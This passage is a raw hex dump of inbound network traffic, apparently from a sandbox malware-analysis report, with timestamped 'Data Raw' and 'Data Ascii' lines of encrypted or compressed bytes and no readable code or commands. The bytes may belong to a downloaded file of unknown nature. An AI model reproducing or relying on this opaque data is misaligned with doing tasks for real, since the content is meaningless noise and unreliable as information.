0d 88 14 61 ae 07 b7 5e Data Ascii: QKX`EfB'-Bie]^M>R;^uyb/.PaUO#dN;j_w32{t #t~aZW=RG(ADcH-T^I5^JJT}X'UuOLhTpHXa#AJ0TYundgXVn]}^$h*p'Q4\\va^
2021-10-12 00:46:19 UTC	1479	IN	Data Raw: 11 5f 5a e5 96 1f 84 1c c2 36 4a fb 81 d2 12 50 48 0f f6 97 76 cf 46 96 5b 68 b1 52 f6 58 99 d9 ea cb b0 a8 ce 15 71 41 c8 54 fd e3 d0 ab ca 31 11 f9 f7 ab cf 5b 54 97 fd 27 2e f7 aa 25 98 90 f7 d4 e9 78 ea df e6 21 6a 0a fc 8b ab df ef 34 e8 55 01 1c 81 e1 e3 9f 5d b9 dd 88 44 f3 b0 c0 f1 de 7b 0d 36 bd 69 f2 50 60 61 46 5d bc e0 e7 4d 25 00 b3 b8 6b e4 74 0a e9 56 8a 5c 67 ad b4 7e b7 6e cc 8f a3 e9 2a 33 39 2e d6 c2 f1 da 3b 5b af b8 18 f9 c0 a8 1d 07 a6 71 eb 77 e9 08 c5 36 db 97 79 47 dc b4 fa ac 02 e9 67 68 5a 60 a0 fe 9e fd ae e9 dc 43 da 03 29 b5 c4 4f 9c 9d 2d ed 8d 80 3d 00 88 b3 1d f9 00 6d b7 a2 34 17 fa 06 85 00 a5 08 42 e9 9f b1 2a f4 f8 f1 6d c7 13 05 1e bf 91 d0 63 92 0f 10 d4 fb 23 f1 e3 f1 0a 27 7a 0c 68 5f 67 f5 0e 6c e3 bc 15 46 88 a3 Data Ascii: _Z6JPHvF[hRXqAT1[T'.%x!j4U]D{6iP`aF]M%ktV\g~n39.;[qw6yGghZ`C)O-=m4Bmc#'zh_glF
2021-10-12 00:46:19 UTC	1495	IN	Data Raw: 57 33 fa bb c0 f9 23 2b 97 cc 5c b5 7e 75 6b 0b d8 aa c8 a6 b6 6e 61 4a 8a 2e ef 95 fd ad 17 e6 39 ff 65 09 4b 80 93 0f 69 37 91 47 f2 b0 7a 6d da 10 c2 76 6c 3a 89 4a 41 6f 6f 3b 3e 95 30 c9 76 43 77 a2 9d ad 9b d8 b3 a4 44 56 ee 03 9d 52 5b fa f6 e3 b7 2a 2d a6 29 11 ab 95 e4 59 6c b2 b3 72 a3 1f bd ec 33 34 d6 4e 03 89 f2 6b 6c 1f 40 ef ea 4a e6 48 cf 83 6b b3 e0 c6 f1 cc f5 ea 19 e2 b6 ac 93 73 2b f8 fd bc 96 9c e3 79 bb 04 ed d7 99 a6 d1 dc 33 76 fa 29 ac 55 98 f2 a7 0e f8 74 d8 90 c3 16 71 8a 85 60 5e aa 31 d7 06 c4 90 33 a5 a9 e9 7c 90 85 f1 30 90 fc 7b 35 db d5 be da 63 b5 0f 10 b4 ae 02 ca af 68 3b a4 4f e0 ec 36 f6 3f 40 d9 af 58 74 33 ec 84 7e 94 ed 03 d0 13 77 cb e4 de 25 7d 6d bb f7 c5 ce de e1 89 99 22 6d 1c 71 47 a5 07 1e 14 25 70 39 5d 97 Data Ascii: W3#+\~uknaJ.9eKi7Gzmvl:JAoo;>0vCwDVR[*-)Ylr34Nkl@JHks+y3v)Utq`^13\|0{5ch;O6?@Xt3~w%}m"mqG%p9]
2021-10-12 00:46:19 UTC	1511	IN	Data Raw: 5a a4 a0 b7 af fc 62 80 17 24 b3 66 3a cd f1 22 55 54 a5 ab 7c b9 bb f6 d1 a8 f1 8e 70 6d 1d 84 1b 00 49 fe 21 ef ac 67 fc ef 9f 7c 76 e3 60 34 aa 8f a7 3f 25 4b ac 2d a8 7a 7a d6 cc 89 19 58 b9 05 74 1e 70 2d be 7f aa db 28 a8 f9 4c 74 ee a8 ee 52 5d 68 be 41 49 9d ac 52 4d 9f 70 08 c5 94 b8 13 1f c1 be 52 bb 9f 29 61 39 a8 b2 2c 29 f8 a2 36 dc b8 e3 25 8e 33 68 7f 98 9c 7a c7 60 39 ee 1b f8 52 fc c1 4b 72 9b 77 eb 74 da 15 08 d6 c6 3e d7 ec a6 45 68 ce d1 62 4a de ef f0 37 69 14 7b f5 b6 63 bd 5f a4 9c d0 7e 44 26 57 3f e0 01 ac 14 a3 c1 c8 b4 cd c0 db b2 da 9a 7d 01 1e e5 68 a8 c8 9a 65 ba 23 29 2f 0d ee bb 61 f3 a3 db d2 8b 83 f1 46 74 8f fa 11 89 d5 02 20 0f 80 83 3e 2b d3 9b ba be 00 6f cc a9 d9 c7 08 19 21 f7 42 58 ea 42 c7 cc cc 57 2c c3 1e d8 62 Data Ascii: Zb$f:"UT\|pmI!g\|v`4?%K-zzXtp-(LtR]hAIRMpR)a9,)6%3hz`9RKrwt>EhbJ7i{c_~D&W?}he#)/aFt >+o!BXBW,b
2021-10-12 00:46:19 UTC	1527	IN	Data Raw: 79 3a e0 cc d5 88 dc 82 44 ba b7 1b 88 57 e0 b4 27 4e 58 d2 6e e8 d1 b6 b3 2a ca 78 69 c8 12 c8 df a9 4d 26 61 bf 41 21 9b ca 7f f1 1e a3 57 31 a7 66 aa 50 8d 19 50 b5 8a c5 07 5a 5c ba d0 25 17 dd 32 ac ee 93 24 fc 6d 8a 4a b4 9a d0 7d ce 14 a0 9e b4 78 27 9c 64 ca 6b 9e c4 80 42 db 73 f3 3c 0c 19 60 57 22 8b 2f 70 4b 07 9a b6 81 fb f9 fd 8f 57 39 90 de f1 04 e4 76 4e 44 f0 be 6a 14 93 d5 f2 d2 54 cd fb 59 44 fd 6f 40 81 73 a0 6c 25 f3 ca f3 fc ea 09 96 0c fd f3 6e a4 ac f9 be b9 d1 8e 62 c9 a4 1b ca 3d 84 c8 5b 4f c5 5f 23 8e 16 01 f9 07 23 66 5f ad 7e 68 a1 c6 df fd 18 a6 ac f3 51 a1 3b c5 87 d9 93 b1 44 f8 fd 98 e8 a4 ea 65 3a 7f c3 00 6b bd 7d cc b4 f9 78 66 dd b0 4b b2 0b 3d 91 60 90 e7 11 2f 49 74 d0 14 94 bb 56 7e 92 80 b3 51 7d 0d 49 8c 2e 40 79 Data Ascii: y:DW'NXn*xiM&aA!W1fPPZ\%2$mJ}x'dkBs<`W"/pKW9vNDjTYDo@sl%nb=[O_##f_~hQ;De:k}xfK=`/ItV~Q}I.@y
2021-10-12 00:46:19 UTC	1543	IN	Data Raw: 0c 00 5a 67 93 f8 55 d0 51 3b c2 fe 9a c4 33 5b cd f2 bb 34 93 d9 5f 6f 23 c7 e7 dc da d5 0c 2d e3 39 01 ff 64 be a4 9f af 3b 93 a2 49 2c 3c ae 2e fc 54 39 32 ff 06 91 7e 7a 00 bb c7 8a 18 e4 5e e2 a6 b8 1f d5 36 8f e6 62 84 89 7b 42 17 9e 1e 37 a5 f7 f5 fa e2 64 9d e2 bb df 09 87 1c 8c e0 01 62 4d 09 a0 29 57 38 f6 da 09 74 8f 6d 4e 29 17 3e 57 83 1e d2 14 48 19 c4 88 e2 03 42 c9 98 05 f6 87 43 bf 02 16 56 21 69 1d 31 24 c3 9a f3 18 dd e4 09 ff 9c c9 12 c0 8c 9e 6b 00 a8 83 af bc 44 52 a8 74 8f 72 8b 48 88 ac 30 b8 18 36 b7 fc d0 fc cf e3 ce c6 e8 64 98 87 86 23 0a 6d be e5 f3 ef dc eb 1f ff 77 9c c9 81 fa 82 69 12 af 42 af d1 1b 6f 38 31 46 7d 6e 84 d8 7b 69 b2 aa f5 03 34 df f8 6b 3c 25 0c 12 0a bc 76 7b 9b c8 c5 7b 15 c9 ea 11 08 8b 0f 0a 4e e6 5f a0 Data Ascii: ZgUQ;3[4_o#-9d;I,<.T92~z^6b{B7dbM)W8tmN)>WHBCV!i1$kDRtrH06d#mwiBo81F}n{i4k<%v{{N_
2021-10-12 00:46:19 UTC	1559	IN	Data Raw: 5a 50 a1 08 46 da 24 f8 82 fe 54 33 e8 5e 9c 8e 27 da fb 78 6e 2d ae ac 8b 3c 0d 78 88 fa 3f 1b 1f ef bd ac 7c 2f f5 20 28 4d a1 64 96 e2 39 fc af f5 4a 17 ac ec 8c a5 a8 b5 c6 db e8 b7 f7 81 78 8d e1 64 7f 5b d6 14 67 c5 8e 79 d1 d9 b3 8f c9 d7 ee b7 eb 78 79 4f 1a 5d 1a f8 e8 74 10 dd 71 71 4e ea 8a 4f e4 ac 1f 7b b3 5b 61 47 30 0b c1 7a f9 6b 5f 80 a3 ca aa ee a2 50 ff cf 97 9d db ff 35 61 cc 0a 81 22 e1 cc 3f 7d 37 ae ed b1 fa c1 29 9a 9e 47 5e 85 bb 04 c3 a6 06 c1 6a 2f b2 79 da fa 72 19 aa cf 19 61 64 36 d3 15 f9 83 d9 51 73 b1 92 a7 ac 6b f5 02 ce f7 2a a9 62 e2 5f 74 84 ce 82 77 dc 40 0c a1 7d e0 ea 73 cd 20 be ae 6b d3 41 ac d9 b8 c7 2d 74 90 23 f2 ed e7 ba 43 a5 0b 06 19 4d 79 64 df 48 d7 44 56 01 91 19 ad 50 07 ca 26 af 5b 5b f5 e5 8e 43 8a 4c Data Ascii: ZPF$T3^'xn-<x?\|/ (Md9Jxd[gyxyO]tqqNO{[aG0zk_P5a"?}7)G^j/yrad6Qsk*b_tw@}s kA-t#CMydHDVP&[[CL
2021-10-12 00:46:19 UTC	1575	IN	Data Raw: 36 a1 df ba 69 5a 71 cb ba e8 fd 2d 2e 1b 5b 8a 57 4d 6d 64 a2 5f 8d 69 2d 45 1a 95 51 ea 7f 4b 52 3c 09 92 33 e5 a9 ef 2a 0c 38 ae 1b 82 89 96 bd 91 74 ad 53 fd 6f e9 b0 ee b9 73 0a 27 80 d1 6b ed 3a c9 27 b9 cf 54 24 2f 58 46 d1 41 ab 66 01 c4 31 af aa 89 fc 07 8f e8 73 9b b1 76 2f 5d c7 64 36 2c f4 21 c1 82 b9 d4 1c 0c 56 f7 18 4c 9c 83 4b 7e c9 c2 c0 ca e8 7c e0 6e e1 63 25 ac 9d 1b c4 1c 3c b7 5b a9 04 9a 4b eb 27 b1 05 08 fe 5e 62 6d e8 cb 47 0f e6 90 7d 13 da 55 52 20 6d e0 d1 52 55 f0 ac f0 3e da 4e d3 c3 a4 6f a7 58 a7 d1 d1 13 06 7b 48 0b 9c 87 26 99 82 c9 bc 7c 2d 76 74 eb 99 f7 0f 34 96 36 03 75 31 6d b1 1f 4d 5e 01 7a bf 4a 2d cb 30 07 a2 74 16 41 b6 e5 9a 45 91 74 0b 39 6c 47 f4 77 74 77 15 c9 0d fe 00 f9 59 8c ee 66 11 95 ab d2 9b 03 cd 90 Data Ascii: 6iZq-.[WMmd_i-EQKR<3*8tSos'k:'T$/XFAf1sv/]d6,!VLK~\|nc%<[K'^bmG}UR mRU>NoX{H&\|-vt46u1mM^zJ-0tAEt9lGwtwYf
2021-10-12 00:46:19 UTC	1591	IN	Data Raw: 0c f6 2b 1d 4b a7 94 4e 49 3f a2 89 cf 7c 05 35 c4 8b 4e db df 1b e3 b8 06 a2 30 b5 02 c8 ae 84 6e d0 79 b4 2a 93 43 52 10 9e 10 7b 85 e4 4b 7b 92 5d 66 76 6d c1 0d 9c e4 8e a7 36 bd 0f 7c 5f 5e 89 88 8c e1 43 7b 9f 03 b5 de 2c 51 d7 db 30 27 3d 3f 47 c8 95 fc 03 72 28 86 9f ed 6d 83 cd 3b 00 49 b9 9a 4c 1e 2e a3 42 09 c7 2f 10 b4 16 03 84 0b 95 62 96 6a 33 b7 65 8a 42 ad d6 7e 02 96 22 1c f0 1d 3e 4c 0b e4 1d dc 43 4f 2d 9b 00 d8 44 18 b1 95 25 98 54 3e 38 b0 e3 40 34 02 9a 4b 15 e2 fb 63 e5 a9 6c 8d 3b e1 1a 8b da 64 b3 9d ba 7c 35 0d 5c 9c 9a c7 e5 db 37 ef 2a d6 80 b5 f5 ff 43 40 8c 7f d6 92 27 6e c8 51 0b 97 fd 1f 02 05 39 8c cf ae 71 29 22 6a e4 2f 87 37 cb 76 c3 2a e2 47 12 f9 14 6c 5a 3e e4 06 d3 2d 42 54 7b 07 31 30 12 7d ce c8 44 f7 5a 71 1c ec Data Ascii: +KNI?\|5N0nyCR{K{]fvm6\|_^C{,Q0'=?Gr(m;IL.B/bj3eB~">LCO-D%T>8@4Kcl;d\|5\7C@'nQ9q)"j/7v*GlZ>-BT{10}DZq
2021-10-12 00:46:19 UTC	1607	IN	Data Raw: 47 70 c6 78 36 91 bc 34 92 de 2c 96 1f 6e 4a d2 e5 44 28 e7 0f 67 6c 38 68 66 c3 1e 45 d1 40 56 c4 65 40 92 c3 e8 a5 0c 74 8c 58 c1 4f e3 c5 79 f8 fc 0d 31 a6 97 f4 9a c0 86 71 de 70 ae 6c 8c 37 75 cb c8 18 f9 84 e1 4b 2c 1f 67 0a 77 7b 81 17 11 34 ec 89 cc 98 ad 18 a2 1c 2c ae 9c 75 4d 88 ee ff de a0 4b 15 8e 7a a1 8f d8 8d d3 88 56 63 b0 89 f2 0f a6 e5 37 7c 80 4a 1c ad 6d e4 9d ff 5d c9 7e 01 a7 05 12 3e d6 82 ca 48 b7 a2 6a 94 ca 7d 8c 94 ca 46 97 68 d9 69 29 ef 6b be b0 8e ae 19 f3 83 90 77 99 3a 39 69 58 fd 26 1e 09 b4 58 14 e1 6d 40 4e 66 de 92 3e 10 49 88 d2 90 24 1d dd 60 a5 7b aa 22 dd 45 43 6c e8 ad a5 ae 30 53 48 1f 44 83 b4 e3 38 75 29 af 9d fb be 9c 2d a0 0e 6e 8c bd 01 59 ce d7 d3 e1 ac 41 b4 fb 4b eb cc 99 ab 2f d6 c3 bc c3 29 b6 06 d2 ca Data Ascii: Gpx64,nJD(gl8hfE@Ve@tXOy1qpl7uK,gw{4,uMKzVc7\|Jm]~>Hj}Fhi)kw:9iX&Xm@Nf>I$`{"ECl0SHD8u)-nYAK/)
2021-10-12 00:46:19 UTC	1623	IN	Data Raw: a3 b7 7d 8d 50 4f 1a f8 46 8b ad 52 58 5f 49 fe 3f 26 dc cb c3 9a 71 79 72 9d 02 08 ab 18 75 49 a6 50 c2 ab 66 ac 49 7a c8 de d4 5f de 99 62 84 8b 43 18 45 25 4b c4 d4 d4 6d 90 b9 fa 11 45 5d 05 78 9b f4 3f b5 47 e4 b2 96 ba 38 cc 61 cf 0c 6a 46 dd 68 3e 64 56 f3 4e db 6f cd 76 d0 27 1b 50 e3 8d 4d 70 5f a3 f3 96 46 9e fd 06 7f ce b9 e2 20 f6 08 da 86 d9 a5 e0 bc 41 d5 2d 1b 85 41 ef c3 18 84 bf 83 35 bc 98 7f 2a 82 85 53 67 e4 f3 34 21 cc 87 5c 80 97 76 bb ba 82 78 f1 8a a6 13 eb ad b8 18 31 c3 f2 24 9b 41 7c ff 77 27 6e cc 26 1d 78 3a 30 4a c0 6c f6 5c 93 e3 bf 99 67 8b 52 af b5 26 a9 50 cf 7b 27 a7 10 51 7f 21 83 2c 2e 63 28 c6 93 a9 b6 67 f4 a1 6a bc c0 b4 b0 3c 41 98 45 f1 b1 73 69 ea 58 23 98 92 90 d4 b1 35 59 20 5b 9b 24 b0 1c d5 0e 47 0c 8d 4b c1 Data Ascii: }POFRX_I?&qyruIPfIz_bCE%KmE]x?G8ajFh>dVNov'PMp_F A-A5*Sg4!\vx1$A\|w'n&x:0Jl\gR&P{'Q!,.c(gj<AEsiX#5Y [$GK
2021-10-12 00:46:19 UTC	1639	IN	Data Raw: 64 0e b7 80 5a cd 75 f3 4b 22 44 65 2b 8c a9 7a f6 fb 31 20 ed 5f b2 b9 8f f3 eb 3f 63 8e 95 c5 7b c9 ae fb 39 8e 45 02 18 20 d2 24 0d c8 6f be b0 c4 1c f0 77 d0 c0 21 71 a9 4c 46 6f f1 92 31 0f 00 01 4a 92 88 14 5f 81 44 a4 ab b4 24 a0 a3 d8 dd f7 53 84 c0 02 70 7d 85 77 78 11 b7 e6 93 ac cd df 0b b2 cb 52 07 ba 3e 9b 6c bb 91 73 b8 7e 96 d9 e8 2b a1 11 75 9d 2b 42 33 f3 9c 32 ae 7b d7 01 52 21 be ca 24 98 5d 31 6a eb 1b d0 92 b4 28 51 89 a5 ca 25 4f d7 06 4d da ab f3 fc 87 dd 65 db d8 c3 e1 1e 49 62 93 6f 9c 65 40 15 a9 37 34 7a cf 07 36 32 ec ab ed 78 23 d0 39 7d 5f 7d 5f 68 22 67 f9 dc 29 4d 34 77 df b1 91 75 4d 75 ec 1a 7b 82 d4 75 15 7a 1c 5f c1 63 0e 0b e2 d8 bc 34 c6 8c 32 6c 7c bc d2 27 f8 26 b6 2f fa ac 36 3e c3 38 45 ba c8 4d bb 76 12 e7 dd 9f Data Ascii: dZuK"De+z1 _?c{9E $ow!qLFo1J_D$Sp}wxR>ls~+u+B32{R!$]1j(Q%OMeIboe@74z62x#9}_}_h"g)M4wuMu{uz_c42l\|'&/6>8EMv
2021-10-12 00:46:19 UTC	1655	IN	Data Raw: 8e 5d ca 27 9b 45 55 ca 0e 0e 5a 26 97 3b 5d 15 a6 8c f2 a8 cb 52 58 c4 8b 72 46 07 d1 24 70 12 e6 68 f9 fa d8 11 77 98 2f ed e1 45 3a ec c2 23 e7 56 93 9e e4 2b 11 6d dc 6c 4c 36 4e 35 15 09 cd 92 5d 08 1c ae d7 54 2c 80 95 e1 cd 91 bb 27 44 71 25 d3 b0 4e 2e 25 30 e7 ad 4c 38 3f 41 01 e9 3d 69 64 e6 36 91 63 9c cb 53 26 f8 4b d5 82 9b 64 4e 93 2f 06 af 44 8e 69 21 14 bb 37 13 7a 4c f8 97 c7 14 57 99 57 1a ee e0 ad 98 da ab 20 bb af a0 c8 1e 9d e6 c1 22 f9 a5 6b e7 22 06 00 36 6c 13 0d b9 fd 88 4e f5 ac b9 d5 46 80 26 78 b6 85 6b c8 e6 1c 4a 26 9a 90 a8 b7 bf 61 5b d6 0b 3e d1 39 d7 33 7c 9b 6e 32 81 67 e4 f9 29 96 3e 01 3b 98 49 0d 01 da c1 30 96 da ce db 87 28 89 b3 ce 2a 1a 65 bd da bb a6 17 63 79 1b 2d 9b 7e 71 4d 79 db 01 30 85 e0 ff 77 05 0c d3 d4 Data Ascii: ]'EUZ&;]RXrF$phw/E:#V+mlL6N5]T,'Dq%N.%0L8?A=id6cS&KdN/Di!7zLWW "k"6lNF&xkJ&a[>93\|n2g)>;I0(*ecy-~qMy0w
2021-10-12 00:46:19 UTC	1671	IN	Data Raw: 17 bf 1c 9a d4 30 c1 36 68 23 10 3e 3a a0 7b cf 0c b1 01 98 a7 98 c1 93 2d 2f bd ef 61 1c 4c ad c9 ce f1 48 bb da 0a 8a 31 22 18 c3 54 67 d1 57 16 7f 89 c7 1c 72 96 01 01 cb 9a b0 e5 53 a8 fb 60 0f ac 1b 88 50 c0 af e9 95 c8 07 f0 96 ab 9b 8b 1c 6f bb 02 39 44 c8 a5 0f bb d5 49 7d ca 5c 52 b9 7a 82 e5 3f b9 c5 ca 9e 2b d8 f5 c4 99 10 30 9f 5a c2 ad 43 46 98 a4 4b 8b 15 c5 68 58 34 e0 c7 91 4e e7 4c d6 2e 8b 39 4b 85 99 85 b5 d9 a6 71 67 f9 b7 b4 5c 64 b6 19 d5 99 e7 a4 ad 66 7a 66 bd 34 df 26 92 10 59 5f 95 00 ab c3 89 e6 a6 99 b6 f3 34 06 3b d0 8f 47 86 a8 1c 2f 3a ca fa 55 ec 63 f3 c2 b9 0e 22 fc a3 1c 26 9d 00 68 5c 14 55 87 c2 50 6c 55 59 1c ca 5e 23 78 be fd 44 d0 40 23 27 e1 7f fe be 3c c1 33 b5 b1 86 81 e0 b6 5f ca 32 ae 41 d3 6a 22 b9 7e 1b c6 5a Data Ascii: 06h#>:{-/aLH1"TgWrS`Po9DI}\Rz?+0ZCFKhX4NL.9Kqg\dfzf4&Y_4;G/:Uc"&h\UPlUY^#xD@#'<3_2Aj"~Z
2021-10-12 00:46:19 UTC	1687	IN	Data Raw: 30 3e ef f6 9f a9 a6 53 ef d1 03 1b db 2f fd d3 34 87 27 04 94 3e b1 bf f3 ce 05 0c 82 9b 6a a8 78 f4 fd 86 6c 0c 0b ab 6f 89 e5 22 d9 d8 8e e4 b4 40 43 9e d4 ef 4e be a5 6f 70 5f bb 13 20 0d dd 4a a8 28 84 3d b5 28 9c e0 a2 39 25 d6 d0 51 8d cd b7 06 dc 67 94 e8 4d 89 c3 50 59 ba 65 5b 93 db e5 e7 fd 0b d7 c7 87 2a 71 7f fe 22 61 f5 94 36 87 09 4a c5 87 a4 7d 9b 08 d9 2f 62 90 f1 29 16 3b 2d 4e f4 61 37 f7 ab 96 7a ce f1 2a 89 55 40 b2 5b 97 f0 40 b6 13 9e 7d 16 64 ab d4 b1 28 86 30 7b 6d bb 2f e5 bc b9 ce 2f 64 aa 24 58 94 60 79 40 2b 90 8c 6c 25 95 6e 69 51 be 1d d0 c3 03 0f c2 27 be 65 5a da de cd fe d5 17 50 f4 a0 2d c7 ed e5 50 32 e6 dd 61 f8 51 9a 59 2e 37 30 cc ae 03 74 ca 6c a6 68 cb 1c c9 0a 7c c7 db a9 22 87 11 b8 80 0e 92 b2 10 0c da a9 bc 93 Data Ascii: 0>S/4'>jxlo"@CNop_ J(=(9%QgMPYe[q"a6J}/b);-Na7zU@[@}d(0{m//d$X`y@+l%niQ'eZP-P2aQY.70tlh\|"
2021-10-12 00:46:19 UTC	1703	IN	Data Raw: 86 29 cd 85 19 81 ac 9e 24 54 2f df bf 42 ce 89 64 28 f2 8f b1 20 0a 3f f2 00 b9 bf 26 29 d9 e9 09 26 ec 1e cd 4c 0d f4 25 8b 02 8f 28 cb f4 bd 9e ce ea 29 79 1b df ba f3 8a ce 81 24 2e 28 ac e9 f4 e5 93 dc 8b ad 66 41 7d 86 49 28 61 de 89 b8 af 92 47 a8 9c 42 a1 37 0a 8b af 6a af ef b1 ce fd c1 e9 a2 87 a5 60 67 a2 5c 2f fd d1 ff 7d 99 3d 38 82 66 b7 bd b6 4e 67 c0 08 9f 91 26 8a cf d9 ee 99 9e fc d9 17 34 27 7f 90 eb c9 5e bc 65 9a e3 70 39 95 b3 2d 84 d9 54 f2 2c 2e a5 e5 96 fe 67 0d f0 83 5a dd 9c 5d ec 08 7b 47 39 55 ae 42 c3 d9 6a fd 15 54 28 ac d8 bc f8 2b a4 82 4b af dd 9b af c2 9b 16 d5 93 79 01 39 91 3d 0d 48 b8 9b fe ad 47 82 15 eb 93 fe 36 2e 3a 14 54 22 43 11 70 6d 89 23 e6 8c f6 df 60 a9 9d 62 7b 61 1a ce ad 99 34 66 82 ee 10 61 f2 3e be 37 Data Ascii: )$T/Bd( ?&)&L%()y$.(fA}I(aGB7j`g\/}=8fNg&4'^ep9-T,.gZ]{G9UBjT(+Ky9=HG6.:T"Cpm#`b{a4fa>7
2021-10-12 00:46:19 UTC	1719	IN	Data Raw: dd 32 fe 85 29 79 a9 94 54 28 f9 87 53 63 66 e7 51 aa d0 6c b7 6a 09 aa 0c 16 11 d6 f5 21 89 45 8e 21 f0 3f 99 49 29 81 9c 65 a4 8c e3 b6 6b be 12 43 c4 b4 ae 0c 9b b5 18 a9 30 c3 44 82 d2 a7 15 f5 c5 fd d4 a3 e2 0a c4 96 37 34 48 02 ba a2 70 79 ee 51 cb 75 8c ed b7 7e bd 40 5f eb a6 fa 6e d1 62 b1 3b 43 64 b5 f6 f7 3b 5f e2 67 d2 c8 e8 8b b0 42 b4 fd 7a 27 f8 e0 c8 fc aa b3 c0 f6 d2 dd 82 f2 cb 7b 51 53 25 6d bd b5 9b 09 22 8f 00 81 bd d6 59 c5 1f 4d 28 c5 17 79 05 29 94 32 45 81 7e 9a 53 ad 2c ab 63 d0 39 a4 5f b0 6b 99 ee 14 64 6e f4 0d 86 8c 08 b7 86 df ab 6c 60 e0 4f d3 17 35 7d 29 40 a0 e9 80 01 04 33 20 fe a4 31 88 fd 70 4b 6f 2c 02 be 08 af 02 e8 5d 66 eb f3 41 dc b4 60 c7 ca 80 57 15 13 70 bf 50 ba 0b 60 ed 7e 67 b7 1e 0b 5f b6 aa a5 6c 09 62 a5 Data Ascii: 2)yT(ScfQlj!E!?I)ekC0D74HpyQu~@_nb;Cd;_gBz'{QS%m"YM(y)2E~S,c9_kdnl`O5})@3 1pKo,]fA`WpP`~g_lb
2021-10-12 00:46:19 UTC	1735	IN	Data Raw: a4 7d a9 c2 4e 78 66 41 2b 5c a9 b7 c2 80 ba d4 46 ac c5 3e 5c 25 da 7c f6 ce 97 58 f6 c2 36 80 bf c0 a4 22 ed 8f 39 a8 50 12 3a 66 a8 de 45 d3 f3 dc b9 87 8e 6a 02 67 b4 80 42 d6 5a c4 f6 65 26 eb 69 5c 50 30 b4 27 df 09 7a 44 dd 41 4b 85 b0 a3 79 7e c4 6d 2c 53 d9 6c 40 f7 ad bb e5 e5 18 a1 0f 8a b5 dd 3c 5e 81 a3 a2 f5 e1 b1 46 aa 1c 48 00 54 8e 2d 66 b9 f3 91 c0 5a 84 05 c3 fb 22 4a 32 3c 02 84 26 14 ee 6e d4 17 06 54 ce 7a 4a 2a 8f d3 45 e8 65 af 4e d7 c4 64 ca c0 70 e4 c3 13 00 75 97 cc 0f f7 64 06 e1 52 7c 46 4e d3 d9 d6 ce c8 12 53 86 12 fd 92 f3 17 24 12 bd c7 65 07 87 6b c0 83 47 01 4d 9e 68 d6 9f 0f 1f f3 69 c1 37 83 f4 38 7d 2d f8 63 df 0e 0d 43 f2 5b bc 6d a2 25 ef ce a1 cc d8 6c 94 9a 35 a0 c8 bf c4 ee fe 2a 7e ad 51 c0 da a5 9f 0f 13 0b 9f Data Ascii: }NxfA+\F>\%\|X6"9P:fEjgBZe&i\P0'zDAKy~m,Sl@<^FHT-fZ"J2<&nTzJEeNdpudR\|FNS$ekGMhi78}-cC[m%l5~Q
2021-10-12 00:46:19 UTC	1751	IN	Data Raw: 5b e8 8a 21 5b f3 c9 f0 8f e6 ff c2 bb dc 70 b2 87 4b d3 ea 50 fb 58 2c e4 6d 37 6e 44 e0 69 f1 dd 12 ca 35 be cf fc 68 c4 b9 d9 b5 3e 07 2b 73 e2 a8 e9 26 6b 70 9d 2c 0d dd 9d e4 b1 35 0a 33 cc 90 e2 76 ab c3 12 0b 36 57 7c 88 b0 7e 66 11 ff 58 81 92 ee a6 fa d0 0a 2f f0 f6 71 4a ab 29 3a dc b8 11 c1 4b f2 c6 08 a2 06 4c c9 d2 ca 53 9d 9b 59 81 d1 d0 19 9b 86 fe ec 4a be e8 0d 2d c6 ee a6 18 64 32 50 6d 46 bf ce 45 9c 61 fa 51 c9 30 68 c5 bc 1f ce 21 99 8f c5 00 3a ec 6e 37 2c 96 f0 20 1d 28 65 77 9a b5 0f 3e b9 38 16 42 c6 77 ae a4 1e 3b b9 e3 4f f0 9b a0 81 7e ab 0e da dd 4d 8a 30 8d 7a fe 00 33 0d a3 e2 f9 71 16 4d c8 42 6b e2 fe d7 a6 88 0b 41 aa 5f ec a4 04 c4 6b eb 7d 03 e4 fa d8 92 07 74 19 d6 83 a3 34 12 c7 3b 17 7e 46 ea b4 49 e9 94 b2 73 e2 93 Data Ascii: [![pKPX,m7nDi5h>+s&kp,53v6W\|~fX/qJ):KLSYJ-d2PmFEaQ0h!:n7, (ew>8Bw;O~M0z3qMBkA_k}t4;~FIs
2021-10-12 00:46:19 UTC	1767	IN	Data Raw: 38 60 da 08 ac 15 51 4e e4 d7 91 7d ce f4 f1 68 55 a9 3a 86 17 6f c2 78 42 14 6c 76 bc b2 2d 87 73 4e 95 a4 d3 6c cf 4f fb 03 2c c0 30 a0 f0 cd 33 9a 31 a0 36 84 70 c3 00 1c fb 91 07 86 e4 22 4d f7 df 43 3c bf ac 22 a8 37 f7 e2 8d 82 62 9d 40 49 3b 09 51 2b 50 ee 45 a5 25 55 15 b6 af a2 70 88 44 4c 75 74 e2 87 fa fc 55 1f e6 70 a2 c1 f4 50 c2 76 8b a8 ec fe 98 e7 31 62 60 7e 25 39 d2 17 d1 74 62 bc 4c 89 c2 d8 09 66 48 79 cf 28 ed 26 7c a8 4f 30 f4 56 48 13 eb 74 de f8 2b d2 3f 66 49 58 01 8a 02 a7 06 53 9d e8 a4 50 99 04 22 be 73 44 af 32 07 ad bd 3b a9 25 6e 2b 86 dd 7f bb 7e 10 9f 29 2b de 14 59 79 76 1b 66 16 17 6c 5b 16 33 c5 5c 19 4e db a9 40 0f 33 97 f4 2c fe c1 d7 33 c7 42 7d 9e c0 1f d3 3e 31 9f 73 a4 8c 4b a4 b3 cc 01 36 ba 79 e6 ac ec 57 83 39 Data Ascii: 8`QN}hU:oxBlv-sNlO,0316p"MC<"7b@I;Q+PE%UpDLutUpPv1b`~%9tbLfHy(&\|O0VHt+?fIXSP"sD2;%n+~)+Yyvfl[3\N@3,3B}>1sK6yW9
2021-10-12 00:46:19 UTC	1783	IN	Data Raw: 04 97 c7 eb 5a 7c a8 92 23 bb 0d 92 5b 80 c8 55 ac f9 63 6f 34 94 aa 21 85 72 c4 e2 4f e6 42 2a d4 3a 85 4f 4e 26 49 89 a0 b5 91 29 33 a3 47 5a a9 95 d9 73 3b 8f d9 d7 bb 05 d0 42 30 4c 15 68 14 1b e0 00 98 b8 96 a2 4e 9d 3f 18 d0 62 fc 48 6c 8c 93 2a 19 68 a0 34 5f 1f b2 25 b3 31 22 56 43 8a 56 26 de 67 53 c0 5b c8 dd a5 fd ca 3e a5 c1 11 77 fb 0e 54 e4 88 b6 a8 e2 b5 be 90 d2 04 84 49 6d 0b cb 72 6b c9 60 ff 8e a4 fe 91 fb d0 c3 39 61 6f 6c 53 26 4c c9 99 26 13 90 00 6e 83 fe 58 35 d9 03 a1 d2 15 bb a4 2d 52 8e e2 a9 29 78 fa 53 4f 57 fd aa e7 25 fc 02 6c 69 59 c0 0d 06 9f 6d d3 31 1d e9 c8 55 6d 69 d0 